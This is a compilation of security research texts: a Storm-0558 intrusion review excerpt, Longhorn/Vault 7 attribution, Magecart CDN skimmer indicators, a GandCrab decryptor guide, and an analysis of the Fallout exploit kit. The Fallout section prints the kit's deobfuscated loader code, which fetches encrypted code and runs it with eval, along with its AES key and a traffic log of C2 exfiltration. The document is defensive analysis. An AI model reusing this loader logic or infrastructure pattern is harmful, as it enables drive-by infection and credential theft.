Microsoft began notifying potentially impacted organizations and individuals on or about June 19 and July 4, 2023, respectively. As detailed below, this effort had varying degrees of success. Ultimately, Microsoft determined that Storm-0558 used an acquired MSA consumer token signing key to forge tokens to access Microsoft Exchange Online accounts for 22 enterprise organizations, as well as 503 related personal accounts, worldwide. Of the 503 personal accounts reported by Microsoft, at least 391 were in the U.S. and included those of former government officials, while others were linked to Western European, Asia-Pacific (APAC), Latin American, and Middle Eastern countries and associated victim organizations.
Microsoft found no sign of an intrusion into its identity system and, as of the conclusion of this review, has not been able to determine how Storm-0558 had obtained the 2016 MSA key; it did find a flaw in the token validation logic used by Exchange Online that could allow a consumer key to access enterprise Exchange accounts if those Exchange accounts were not coded to reject a consumer key. By June 27, 2023, Microsoft believed it had identified the technique used to access victim accounts and rapidly cleared related caching data in various downstream Microsoft systems to invalidate all credentials derived from the stolen key. Microsoft believed that this mitigation was effective, as it almost immediately observed Storm-0558 begin to use phishing to try to gain access to the email boxes it had previously compromised. However, by the conclusion of this review, Microsoft was still unable to demonstrate to the Board that it knew how Storm-0558 had obtained the 2016 MSA key.
### Intrusion Details
#### Timeline
The Board finds that the intrusion began in May 2023 and known adversaries’ techniques were remediated by the end of June 2023. A high-level timeline follows, and a more complete chronology is included in Appendix B.
**May-June 15, 2023:** Initial Intrusion, Before Discovery
Storm-0558 compromised Microsoft Exchange Online mailboxes of certain victims in the U.S., the U.K., and elsewhere between May and the first half of June. However, the Board heard that Microsoft’s window of compromise may have started earlier than May 15, as it had published, based on standard 30-day log retention practices.
**June 15-19, 2023:** Department of State Detects the Intrusion
State first detected anomalous activity on June 15, notified Microsoft on June 16, and, with support from Microsoft, investigated and analyzed the data over the course of the holiday weekend. By June 19, State determined that a threat actor had accessed six State email accounts, including those of personnel supporting the Secretary of State’s upcoming trip to Beijing. State discovered that the threat actor accessed six other accounts between June 21 and June 24, and later discovered the compromise of one other account through the analysis of a seized virtual private server (VPS).
**June 16-26, 2023:** The Investigation Broadens; Department of Commerce is Identified as a Victim
State reached out to Microsoft, the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI). CISA already had personnel at State conducting proactive threat hunting who began collecting data for analysis; FBI shared details about the threat actor, its targets and exploitation vectors, and other indicators of compromise. After outreach from State, on June 16, Microsoft conducted an initial investigation, which assumed that Storm-0558 had gained entry to user emails through State’s OWA. On June 19, Microsoft notified an organization in the U.K. that it was a victim; Microsoft later identified other victim organizations in the U.K. On June 23, Microsoft notified the Commerce Department that it, too, was a victim. On or about June 26, Microsoft determined that Storm-0558 was using the stolen 2016 MSA key to issue tokens that allowed it to access both consumer and enterprise accounts.
**June 24, 2023:** Closing the Attack Vector
On June 24, Microsoft invalidated the stolen key the threat actor was using. Microsoft believed that this action ended Storm-0558’s access to the email accounts, as it almost immediately observed Storm-0558 attempt phishing and other methods to regain access to the email boxes it had previously compromised.
**July 4, 2023 and Beyond:** Continue Victim Notification and Remediation
Microsoft began victim notification during its initial investigation, and this continued for weeks. Because of the nature of the intrusion, only Microsoft was able to identify most of the victims. It worked with the U.S. government to provide victim information, and federal agencies undertook separate efforts to notify impacted individuals.
#### Threat Actor Profile
Storm-0558 has been active since approximately the year 2000. Microsoft described Storm-0558 as “a China-based threat actor with activities and methods consistent with espionage objectives. While we have discovered some minimal overlaps with other Chinese groups such as Violet Typhoon (ZIRCONIUM, APT31), we maintain high confidence that Storm-0558 operates as its own distinct group.” Microsoft historically observed the group primarily targeting U.S. and European diplomatic, economic, and legislative governing bodies; media companies, think tanks, and telecommunications and equipment services providers; and individuals connected to Taiwan and Uyghur geopolitical interests. Microsoft assesses that the Microsoft Exchange Online intrusion was a targeted information-collection operation aimed at fulfilling the PRC’s intelligence needs.
Microsoft has developed insights into Storm-0558’s activity clusters, ways in which its operational network overlaps with Microsoft’s environment, and its affiliates and partnerships. FBI and CISA assess that this latest campaign by Storm-0558 was also consistent with that of a nation-state threat actor with a high level of sophistication, particularly with its knowledge of identity and access management (IAM) systems.
Following disclosure of the Storm-0558 breach, Google’s Threat Analysis Group was able to link at least one entity tied to this threat actor to the group responsible for the 2009 compromise of Google and dozens of other private companies in a campaign known as Operation Aurora, as well as the RSA SecurID incident. The threat group believed to have been behind the Operation Aurora campaign has been known to compromise cloud identity systems, steal source code, and engage in token-forging activities to gain access to targeted individuals’ email accounts. Particularly, this threat group sought to understand the location of account login source code and the specific engineers involved in its development, ways in which organizations deploy account login systems to their production environment, and where and how organizations manage their cryptographic keys for account login cookies. In the wake of these attacks, investigators assessed that this threat group’s tooling and reconnaissance activities suggest that it is well-resourced, technically adept, and deeply knowledgeable of many authentication techniques and applications.
#### 2023 Compromise of Microsoft Exchange Online
**Storm-0558’s Possession of the 2016 MSA Key**
Microsoft learned that, in 2021, Storm-0558 had accessed a variety of documents stored in SharePoint and assessed that the threat actor was specifically looking for information on Azure service management and identity-related information. Despite Microsoft’s pursuit of the 46 key-theft hypotheses, the Board assesses that Microsoft does not know how Storm-0558 obtained the 2016 MSA key. Microsoft stated in a September 6, 2023 blog post that the most probable way Storm-0558 had obtained the key was from a crash dump to which it had access during the 2021 compromise of Microsoft’s systems. However, Microsoft had only theorized that such a scenario was technically feasible in the 2016 timeframe. While Microsoft updated this blog on March 12, 2024 to correct its assessment of these theories, it has not determined that this is how Storm-0558 obtained the key.
The Board further determines that Microsoft has no evidence or logs showing the stolen key’s presence in or exfiltration from a crash dump. During the Board’s interview with Microsoft in November 2023, Microsoft said that soon after publication, it realized that the statements in the September 6 blog were inaccurate: Microsoft had found no evidence of a crash dump containing the 2016 MSA key material. While Microsoft’s latest update about this incident acknowledges that it did not find a crash dump containing the impacted 2016 MSA key material, the possibility that the threat actor had accessed other keys and sensitive data, in addition to the 2016 MSA key, also remains unresolved, adding to the Board’s concern about the full consequences of the incident and remaining uncertainty. In its November 2023 interview, Microsoft also told the Board that it was debating when to issue a new or updated blog based on the progress of its investigation but had not made any decisions. In a written response to the Board on March 5, 2024, Microsoft maintained that it “intends to publish an update to the blog in the near future.” Over six months after its publication of the September 6 blog, and four months after acknowledging to the Board that the blog was inaccurate, Microsoft publicly corrected its mistaken assertions in an addendum, based on its “latest knowledge.”
**How Storm-0558 Used the 2016 MSA Key**
Storm-0558 established its first identified component of external hosting infrastructure to execute the Exchange Online intrusion and gained access to email accounts on May 15, 2023. After State notified Microsoft about the intrusion on June 16, 2023, Microsoft reviewed logs pertaining to the event, from the month of May, and identified that the first instance of malicious activity took place days after Storm-0558 had established its infrastructure. Microsoft also said that Storm-0558 had, in the past, used more sophisticated covert networks, but Microsoft believes that a previous disruption of the threat actor’s infrastructure forced it to use a less sophisticated infrastructure for this intrusion that was more readily identifiable once discovered. In this instance, Storm-0558 occasionally used infrastructure located geographically near its targets, likely to try to blend in with legitimate activity.
Microsoft designed its consumer MSA identity infrastructure more than 20 years ago. Later, it introduced an enterprise Entra infrastructure, previously known as Azure Active Directory (AD). Initially, the consumer MSA system had no process for automated signing key rotation or deactivation and utilized a manual process instead. Over time, Microsoft automated the key rotation process in the enterprise system with the intent for the consumer MSA system to follow and use the same technology, but it had not done so in the consumer MSA system before the intrusion. Microsoft continued to rotate consumer MSA keys infrequently and manually until it stopped the rotation entirely in 2021 following a major cloud outage linked to the manual rotation process. While Microsoft had paused manual key rotation, it neither had, nor created, an automated alerting system to notify the appropriate Microsoft teams about the age of active signing keys in the consumer MSA service.
Thus, possession of the 2016 MSA key—dated though it was—enabled the threat actor to forge authentication tokens that allowed it to access email systems. This access should have been limited to consumer email systems, but due to a previously unknown flaw that allowed tokens to access enterprise email accounts, Storm-0558 was able to get into systems such as those at State and Commerce. The flaw was caused by Microsoft’s efforts to address customer requests for a common OpenID Connect (OIDC) endpoint service that listed active signing keys for both enterprise and consumer identity systems. However, Microsoft had not adequately updated the software development kits (SDKs), which Microsoft and its partners both used, to differentiate between the consumer MSA and the enterprise signing keys within the common endpoint. As a result, this allowed successful authentication to the Entra system for certain applications, such as mail, regardless of which key was used.
Thus, the stolen 2016 MSA key in combination with the flaw in the token validation system permitted the threat actor to gain full access to essentially any Exchange Online account.
### Cloud Service Vulnerabilities
Cloud service providers (CSPs) do not always register and publicly disclose common vulnerabilities and exposures (CVEs) in their cloud infrastructure when mitigating those vulnerabilities does not require customer action. This lack of disclosure, which is counter to accepted norms for cybersecurity more generally, makes it difficult for CSP customers to understand the risks posed by their reliance on potentially vulnerable cloud infrastructure. Microsoft does not know when Storm-0558 discovered that consumer signing keys (including the one it had stolen) could forge tokens that worked on both OWA consumer and enterprise Exchange Online. Microsoft speculates that the threat actor could have discovered this capability through trial and error. It assessed that during this incident, the actor was researching Microsoft technologies and used this knowledge to pivot and circumvent Microsoft’s security measures within test cloud tenants. |
# Longhorn: Tools Used by Cyberespionage Group Linked to Vault 7
Spying tools and operational protocols detailed in the recent Vault 7 leak have been used in cyberattacks against at least 40 targets in 16 different countries by a group Symantec calls Longhorn. Symantec has been protecting its customers from Longhorn’s tools for the past three years and has continued to track the group to learn more about its tools, tactics, and procedures.
The tools used by Longhorn closely follow development timelines and technical specifications laid out in documents disclosed by WikiLeaks. The Longhorn group shares some of the same cryptographic protocols specified in the Vault 7 documents, in addition to following leaked guidelines on tactics to avoid detection. Given the close similarities between the tools and techniques, there can be little doubt that Longhorn's activities and the Vault 7 documents are the work of the same group.
## Who is Longhorn?
Longhorn has been active since at least 2011. It has used a range of backdoor Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the organizations targeted would be of interest to a nation-state attacker.
Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion, a computer in the United States was compromised, but following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally.
## The Link to Vault 7
A number of documents disclosed by WikiLeaks outline specifications and requirements for malware tools. One document is a development timeline for a piece of malware called Fluxwire, containing a changelog of dates for when new features were incorporated. These dates align closely with the development of one Longhorn tool (Trojan.Corentry) tracked by Symantec. New features in Corentry consistently appeared in samples obtained by Symantec either on the same date listed in the Vault 7 document or several days later, leaving little doubt that Corentry is the malware described in the leaked document.
Early versions of Corentry seen by Symantec contained a reference to the file path for the Fluxwire program database (PDB) file. The Vault 7 document lists removal of the full path for the PDB as one of the changes implemented in Version 3.5.0. Up until 2014, versions of Corentry were compiled using GCC. According to the Vault 7 document, Fluxwire switched to a MSVC compiler for version 3.3.0 on February 25, 2015. This was reflected in samples of Corentry, where a version compiled on February 25, 2015 had used MSVC as a compiler.
### Corentry Version Numbers and Compilation Dates Compared to Fluxwire Version Numbers and Changelog Dates Disclosed in Vault 7
| Corentry Sample (MD5 Hash) | Date/Time of Sample Compilation | Corentry Version Number | Corentry Compiler | Vault 7 Changelog Number | Vault 7 Changelog Date |
|-----------------------------|---------------------------------|-------------------------|-------------------|--------------------------|------------------------|
| N/A | N/A | N/A | N/A | 2.1.0 - 2.4.1 | Jan 12, 2011 - Feb 28, 2013 |
| e20d5255d8ab1ff5f157847d2f3ffb25 | 23/08/2013 | 3.0.0 | GCC | 3.0.0 | Aug 23, 2013 |
| 5df76f1ad59e019e52862585d27f1de2 | 21/02/2014 | 3.1.0 | GCC | 3.1.0 | Feb 20, 2014 |
| 318d8b61d642274dd0513c293e535b38 | 15/05/2014 | 3.1.1 | GCC | 3.1.1 | May 14, 2014 |
| N/A | N/A | N/A | N/A | 3.2.0 | Jul 15, 2014 |
| 511a473e26e7f10947561ded8f73ffd0 | 03/09/2014 | 3.2.1 | GCC | 3.2.1 | Aug 18, 2014 |
| c06d422656ca69827f63802667723932 | 25/02/2015 | N/A | MSVC | 3.3.0 | Feb 25, 2015 |
| N/A | N/A | N/A | N/A | 3.3.1 -> 3.5.0 | May 17, 2015 -> Nov 13, 2015 |
A second Vault 7 document details Fire and Forget, a specification for user-mode injection of a payload by a tool called Archangel. The specification of the payload and the interface used to load it was closely matched in another Longhorn tool called Backdoor.Plexor.
A third document outlines cryptographic protocols that malware tools should follow. These include the use of inner cryptography within SSL to prevent man-in-the-middle (MITM) attacks, key exchange once per connection, and use of AES with a 32-byte key. These requirements align with the cryptographic practices observed by Symantec in all of the Longhorn tools.
Other Vault 7 documents outline tradecraft practices to be used, such as use of the Real-time Transport Protocol (RTP) as a means of command and control (C&C) communications, employing wipe-on-use as standard practice, in-memory string de-obfuscation, using a unique deployment-time key for string obfuscation, and the use of secure erase protocols involving renaming and overwriting. Symantec has observed Longhorn tools following all of these practices. While other malware families are known to use some of these practices, the fact that so many of them are followed by Longhorn makes it noteworthy.
## Global Reach: Longhorn’s Operations
While active since at least 2011, with some evidence of activity dating back as far as 2007, Longhorn first came to Symantec’s attention in 2014 with the use of a zero-day exploit (CVE-2014-4148) embedded in a Word document to infect a target with Plexor. The malware had all the hallmarks of a sophisticated cyberespionage group. Aside from access to zero-day exploits, the group had preconfigured Plexor with elements that indicated prior knowledge of the target environment.
To date, Symantec has found evidence of Longhorn activities against 40 targets spread across 16 different countries. Symantec has seen Longhorn use four different malware tools against its targets: Corentry, Plexor, Backdoor.Trojan.LH1, and Backdoor.Trojan.LH2. Before deploying malware to a target, the Longhorn group will preconfigure it with what appears to be target-specific code words and distinct C&C domains and IP addresses for communications back to the attackers. Longhorn tools have embedded capitalized code words, internally referenced as “groupid” and “siteid”, which may be used to identify campaigns and victims. Over 40 of these identifiers have been observed, and typically follow the theme of movies, characters, food, or music. One example was a nod to the band The Police, with the code words REDLIGHT and ROXANNE used.
Longhorn’s malware has an extensive list of commands for remote control of the infected computer. Most of the malware can also be customized with additional plugins and modules, some of which have been observed by Symantec. Longhorn’s malware appears to be specifically built for espionage-type operations, with detailed system fingerprinting, discovery, and exfiltration capabilities. The malware uses a high degree of operational security, communicating externally at only select times, with upload limits on exfiltrated data, and randomization of communication intervals—all attempts to stay under the radar during intrusions.
For C&C servers, Longhorn typically configures a specific domain and IP address combination per target. The domains appear to be registered by the attackers; however, they use privacy services to hide their real identity. The IP addresses are typically owned by legitimate companies offering virtual private server (VPS) or web hosting services. The malware communicates with C&C servers over HTTPS using a custom underlying cryptographic protocol to protect communications from identification.
Prior to the Vault 7 leak, Symantec’s assessment of Longhorn was that it was a well-resourced organization involved in intelligence gathering operations. This assessment was based on its global range of targets and access to a range of comprehensively developed malware and zero-day exploits. The group appeared to work a standard Monday to Friday working week, based on timestamps and domain name registration dates, behavior which is consistent with state-sponsored groups.
Symantec’s analysis uncovered a number of indicators that Longhorn was from an English-speaking, North American country. The acronym MTWRFSU (Monday Tuesday Wednesday ThuRsday Friday Saturday SUnday) was used to configure which day of the week malware would communicate with the attackers. This acronym is common in academic calendars in North America. Some of the code words found in the malware, such as SCOOBYSNACK, would be most familiar in North America. In addition to this, the compilation times of tools with reliable timestamps indicate a time zone in the Americas.
## Distinctive Fingerprints
Longhorn has used advanced malware tools and zero-day vulnerabilities to infiltrate a string of targets worldwide. Taken in combination, the tools, techniques, and procedures employed by Longhorn are distinctive and unique to this group, leaving little doubt about its link to Vault 7. Throughout its investigation of Longhorn, Symantec’s priority has been protection of its customers. Through identifying different strains of Longhorn malware, connecting them to a single actor, and learning more about the group’s tactics and procedures, Symantec has been able to better defend customer organizations against this and similar threats. In publishing this new information, Symantec’s goal remains unchanged: to reassure customers that it is aware of this threat and actively working to protect them from it.
## Protection
Symantec and Norton products have been protecting against Longhorn malware for a number of years with the following detections: Tags: Products, Endpoint Protection, Endpoint Protection Cloud, Security Response, AIT, APT, Backdoor.Plexor, Investigation, Longhorn, Trojan.Corentry, Vault 7. |
# Magecart Skimmers Found on Amazon CloudFront CDN
**Jérôme Segura**
June 4, 2019
Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected. Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official NBA.com website. The skimmer was inserted in this JavaScript library: `hxxps://s3[.]amazonaws[.]com/wsaimages/js/wizards[.]js`. Interestingly, this same library had already been altered (loading content from installw[.]com) some time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the page can be found here.
Late last week, we observed a number of compromises on Amazon CloudFront – a Content Delivery Network (CDN) – where hosted JavaScript libraries were tampered with and injected with web skimmers. Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain, this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or link to code developed specifically for them and hosted on a custom AWS S3 bucket.
Without properly validating content loaded externally, these sites are exposing their users to various threats, including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.
## The Ideal Place to Conceal a Skimmer
CDNs are widely used because they provide great benefits to website owners, including optimizing load times and cost, as well as helping with all sorts of data analytics. The sites we identified during a crawl had nothing in common other than the fact they were all using their own custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN repository would be themselves.
This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer can be seen appended to the original code and using obfuscation to conceal itself.
This second case shows the skimmer injected not just in one library, but several contained within the same directory, once again part of an S3 bucket that is only used by this one website.
Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom CloudFront URL.
## Exfiltration Gate
This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the exfiltration gate (cdn-imgcloud[.]com). The stolen form data is also encoded before being sent back to the criminal infrastructure.
While we would have expected to see many Magento e-commerce shops, some of the victims included a news portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content Management Systems (CMSes). As such, many did not even have a payment form within their site. Most simply had a sign-up or login form instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to valuable infrastructure from which they can steal input data.
## Connection with Existing Campaign
The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the same exfiltration gate (font-assets[.]com) identified by Yonathan Klijnsma in RiskIQ’s report on several recent supply-chain attacks. RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another (ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
A cursory look at this new cdn-imgcloud[.]com gate shows that it was registered just a couple days after the RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.
- **Creation Date:** 2019-05-16T07:12:30Z
- **Registrar:** Shinjiru Technology Sdn Bhd
- **Name Server:** NS1.CARBON2U.COM
- **Name Server:** NS2.CARBON2U.COM
The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the same subnet, we can find other exfiltration gates also registered recently.
What we can also see from the above VirusTotal graph is that the two domains (font-assets[.]com and ww1-filecloud[.]com) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the hands of the criminals. Historical passive DNS records show that on 05-25-2019, font-assets[.]com started resolving to 45.114.8[.]161. The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
## Finding and Exploiting Weaknesses
This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a viable option, so they will look for other ways. While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure. Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website, other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for example)—can save the day.
We reached out to the victims we identified in this campaign and several have already remediated the breach. In other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the skimmers mentioned in this blog and the new ones we discover each day.
## Indicators of Compromise (IoCs)
- ww1-filecloud[.]com, 45.114.8[.]159
- cdn-imgcloud[.]com, 45.114.8[.]160
- font-assets[.]com, 45.114.8[.]161
- wix-cloud[.]com, 45.114.8[.]162
- js-cloudhost[.]com, 45.114.8[.]163 |
# GandCrab Ransomware Decryption Tool
**Free Tools**
**3 min read**
**Bogdan BOTEZATU**
**October 25, 2018**
Update June 2019: Our collaboration with the Romanian Police, Europol, and other law enforcement agencies has yielded another new decryptor for all GandCrab ransomware versions released, except for v2 and v3. If you need to decrypt versions 1, 4, 5.0.1 through 5.2, then download and run our new tool.
In February 2018, Bitdefender released the world’s first decryption tool to help GandCrab ransomware victims get their data and digital lives back for free. But since then, victims of subsequent versions of GandCrab and its ‘ransomware-as-a-service’ affiliate approach have been reaching out to us for help.
The good news is that now you can have your data back without paying a cent to cybercriminals. Bitdefender offers a free utility that automates the data decryption process.
## Supported GandCrab Versions
The below table shows the versions of GandCrab this tool can decrypt and how to identify the version you have been inflicted with. You can recognize this ransomware and its version by the extension it appends to the encrypted files and/or from the first line of the ransom note.
- **Version 1:**
File extension is .GDCB.
Starts with —= GANDCRAB =—.
- **Version 2:**
File extension is .GDCB.
Starts with —= GANDCRAB =—.
- **Version 3:**
File extension is .CRAB.
Starts with —= GANDCRAB V3 =—.
- **Version 4:**
File extension is .KRAB.
Starts with —= GANDCRAB V4 =—.
- **Version 5:**
File extension is .UKCZA.
Starts with —= GANDCRAB V5.0 =—.
- **Version 5.0.1:**
File extension is .YIAQDG.
Starts with —= GANDCRAB V5.0.1 =—.
- **Version 5.0.2:**
File extension is .CQXGPMKNR.
Starts with —= GANDCRAB V5.0.2 =—.
- **Version 5.0.3:**
File extension is .HHFEHIOL.
Starts with —= GANDCRAB V5.0.3 =—.
- **Version 5.0.4:**
File extension is .BYACZCZI.
Starts with —= GANDCRAB V5.0.4 =—.
- **Version 5.0.5:**
File extension is .KZZXVWMLI.
Starts with —= GANDCRAB V5.0.5 =—.
- **Version 5.1:**
File extension is .IJDHRQJD.
Starts with —= GANDCRAB V5.1 =—.
## Decryption Tool Requirements
- Active Internet connection. This tool REQUIRES an active Internet connection as our servers will attempt to reply to the submitted ID with a possibly valid RSA-2048 private key. Only if this step succeeds will the decryption process continue.
- The ransom note. For this recovery solution to work, you must have at least one copy of the ransom note on your PC. The ransom note is needed to recover the decryption key, as it allows us to compute the unique decryption key for your files. Please make sure that you do not run a clean-up utility which detects and removes the ransom note prior to execution of this tool.
## How to Use the Tool
**Step 1:** Download our decryption tool and save it somewhere on your computer. Please note that this tool requires an active internet connection. Without it, the decryption process won’t continue.
**Step 2:** Run the utility. It should be saved on your computer as `BDGandCrabDecryptor.exe`.
**Step 3:** Agree to the terms and conditions.
**Step 4:** Select “Scan Entire System” if you want to search for all encrypted files or just add the path to your encrypted files. We strongly recommend that you also select “Backup files” before starting the decryption process. Then press “Scan”.
Regardless of whether you check the “Backup files” option or not, the decryption tool initially attempts to decrypt five files in the provided path and will NOT continue if decryption is unsuccessful. This extra safety mechanism ensures that the decryption tool has yielded valid files. This approach will, however, impact potential tests run on one or two files or encrypting files with different extensions.
**Step 5:** At this point, your files should be decrypted. If you selected the backup option, you will see both the encrypted and the decrypted files. We recommend that you now validate that your files may be safely opened and there is no trace of damage.
Once you have validated your files, you can remove the encrypted files in bulk by searching for files matching the GandCrab extension.
If you encounter any issues, please contact us via the e-mail address provided in the removal tool.
## Acknowledgement
This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit. |
# A Close Look at Fallout Exploit Kit and Raccoon Stealer
## Traffic Analysis
Over the last few months, we have seen increased Exploit Kit activity. One example is the Fallout Exploit Kit, which we will describe in depth in this article. Since its emergence in August 2018, threat actors have intensively used the Fallout Exploit Kit to deliver ransomware (GandCrab, Kraken, Maze, Minotaur, Matrix, and Stop), Banker Trojans (DanaBot), and information stealers (RaccoonStealer, AZORult, Vidar), and others. Malicious ads have become a standard means for exploit kits to reach vulnerable systems. Because of the complex redirection chain provided by ad services, malicious ads remain an extremely effective attack vector to deliver exploits and, finally, malware. Both exploits delivered by Fallout Exploit Kit are blocked by Bitdefender before malware execution.
In our reports, we have seen that the initial redirection to the Fallout EK is performed via malvertising, using a dedicated ad server that provides malicious redirects. Visible as request #2 in Fiddler’s traffic dump, this is the starting point of the infection:
| Process | Proto | Host+URL | Size | Description |
|------------------|-------|-------------------------------------------------------|----------|---------------------------|
| iexplore.exe | HTTP | 91.90.192.214/JwVDfp | (redir) | Malicious ad server |
| iexplore.exe | HTTPS | yourfirmware.biz/spending/… | 4720 | Landing page |
| iexplore.exe | HTTPS | yourfirmware.biz/Prosar-689… | 29182 | Helper JS |
| iexplore.exe | HTTPS | yourfirmware.biz/2016_11_22/… | 7596 | 2nd stage JS |
| iexplore.exe | HTTPS | yourfirmware.biz/Liyuan_Brechams… | 28716 | VBScript exploit |
| iexplore.exe | HTTPS | yourfirmware.biz/7821/kTlV/… | 35140 | Flash exploit |
| iexplore.exe | HTTPS | yourfirmware.biz/Darvon/Gambette… | 5893 | PowerShell script |
| powershell.exe | HTTP | yourfirmware.biz/4960-Englut… | 1568768 | Malware payload |
| pofke3lb.tmp | HTTPS | drive.google.com/uc?export=… | (redir) | Google Drive redirect |
| pofke3lb.tmp | HTTPS | doc-0o-cc-docs.googleusercontent.com/docs/… | 0 | Empty file |
| pofke3lb.tmp | HTTP | 34.77.205.80/gate/log.php | 387 | RaccoonStealer C2 |
| pofke3lb.tmp | HTTP | 34.77.205.80/gate/sqlite3.dll | 916735 | Malware dependencies |
| pofke3lb.tmp | HTTP | 34.77.205.80/gate/libs.zip | 2828315 | Malware dependencies |
| pofke3lb.tmp | HTTP | 34.77.205.80/file_handler/file.php… | 13 | Data exfiltration |
From the malicious ad, the browser is redirected to the exploit kit’s landing page (request #4). The page loads more JavaScript (requests #5, #6), then VBScript and Flash exploits are delivered to vulnerable browsers (requests #8, #10). Finally, an encoded PowerShell script is downloaded and executed (request #11), which in turn downloads the malware payload (request #12) and launches it. The malware is a password stealer Trojan, and requests #17-19 were identified by EKFiddle as RaccoonStealer C2. The Trojan sends computer configuration (request #17), downloads dependencies (requests #18, #19), and exfiltrates login and crypto wallet credentials (request #20).
## Landing Page
After being redirected through malvertising, the browser reaches the landing page at: hxxps://yourfirmware.biz/spending/beshield-garrottes/QFi.cfm. The URL is randomly generated, with approximately the following form: `<domain>/<RandomWord>/[<RandomWord(s)/]<RandomChars>.<KnownExtension>`. The URL can also contain fake URL encoded GET parameters, such as: `...?<RandomChars>=<RandomWord|RandomDate>[&...]`. Landing page may have a known extension like cfm, cfml, dhtml, aspx, and others. Random English words, known file extensions, and fake dates are used in these URLs to make it look similar to legit web application queries, to evade pattern matching by URL scanners. Nothing is static in the Fallout EK’s URLs, so they can’t be easily recognized.
The “meta” declaration (x-ua-compatible, IE=10) makes Internet Explorer run in compatibility mode with version 10, so obsolete code (VBScript) can be loaded later. VBScript support has been removed from Internet Explorer 11 and up, as described in the Microsoft article. This tells us we may encounter a VBScript exploit. The page body does not contain text, but two JavaScript scripts are being loaded, including one contained in the landing page (4KB) – the “main” JS – and one “helper” JS (29KB). They work together to perform the following actions. The scripts are obfuscated, but we can still observe some things among the renamed functions and variables. Some used API functions are saved to variables, then invoked later:
```javascript
window.lIIIIlIl1l11 = window["XMLHttpRequest"];
window.I1l1ll11I = window["eval"];
window.I1II1 = window["JSON"]["parse"];
window.lI1lIII = window["JSON"]["stringify"];
```
From this code, we can tell a JSON object will be involved, and dynamic request(s) will be sent from JavaScript, using XMLHttpRequest. Also, the critical function eval will be used, with dynamic JavaScript code being executed. However, the rest of the code is highly obfuscated:
```javascript
var I1I1IIIlI1 = 'KY1Zxq4vckTyY' + 'J6W1Jpxfs0VILlBh';
var l1IllI11 = window['IIIllII1Illl']['lI1lIIlI']['llIlIlI']['llII1'](16)['IIlI1Il1']();
var I1IlIllI1l11 = window['llll1I'](window['IIIllII1Illl']['lI1lIIlI']['llIlIlI']['llII1'](16)['IIlI1Il1'](), 16);
var l11IlII1I = window['llll1I'](window['IIIllII1Illl']['lI1lIIlI']['llIlIlI']['llII1'](16)['IIlI1Il1'](), 16);
var III1I = window['llll1I'](window['IIIllII1Illl']['lI1lIIlI']['llIlIlI']['llII1'](16)['IIlI1Il1'](), 16);
var lIIIIIIIIIl1 = I1IlIllI1l11['I11IlI1lIII'](l11IlII1I, III1I);
var I11lI11 = window['String']['fromCharCode'](118, 71, 120, 88, 90, 118, 77) + 'ZMaPaX4';
var ll1III11 = new window['lIIIIlIl1l11']();
```
After removing garbage code, resolving syntax obfuscation tricks, and recognizing third-party library code embedded in the “helper” JS, we can finally rename obfuscated functions and variables closer to the original names:
```javascript
var iv_str = Crypto.lib.WordArray.random(16).toString();
var base = Bignum(Crypto.lib.WordArray.random(16).toString(), 16);
var exponent = Bignum(Crypto.lib.WordArray.random(16).toString(), 16);
var modulo = Bignum(Crypto.lib.WordArray.random(16).toString(), 16);
```
A Diffie-Hellman key exchange is taking place, with transmitted information packed into JSON objects, encrypted with AES-128 algorithm in CBC mode. The EK authors chose Diffie-Hellman as a defense against man-in-the-middle traffic scanning. Using an XMLHttpRequest, encrypted HTML is downloaded, then decrypted and executed using the eval function:
```javascript
request.onreadystatechange = function() {
if (4 === this.readyState && 200 === this.status) {
var text = Crypto.AES.decrypt(request.responseText, FalloutKey, {iv: FalloutIV}).toString(Crypto.enc.Utf8);
var responseJson = JSON.parse(text);
var base = Bignum(responseJson['base'], 16);
var public_key_2 = Crypto.enc.Hex.parse(base.powMod(exponent, modulo).toString(16));
var iv = Crypto.enc.Hex.parse(iv_str);
var decrypted_js_bin = window.Crypto.AES.decrypt(responseJson['code'], public_key_2, {iv: iv});
var code = decrypted_js_bin.toString(Crypto.enc.Utf8);
eval(code);
}
};
```
The URL where the request is made is decrypted in the “helper” JavaScript using fixed values for encryption key and initial vector:
```javascript
window.FalloutKey = Crypto.enc.Hex.parse("cb9f989b5ec9c6061912af37709fe309");
window.FalloutIV = Crypto.enc.Hex.parse("9b41656001881cd01e85d0fa8a9b5733");
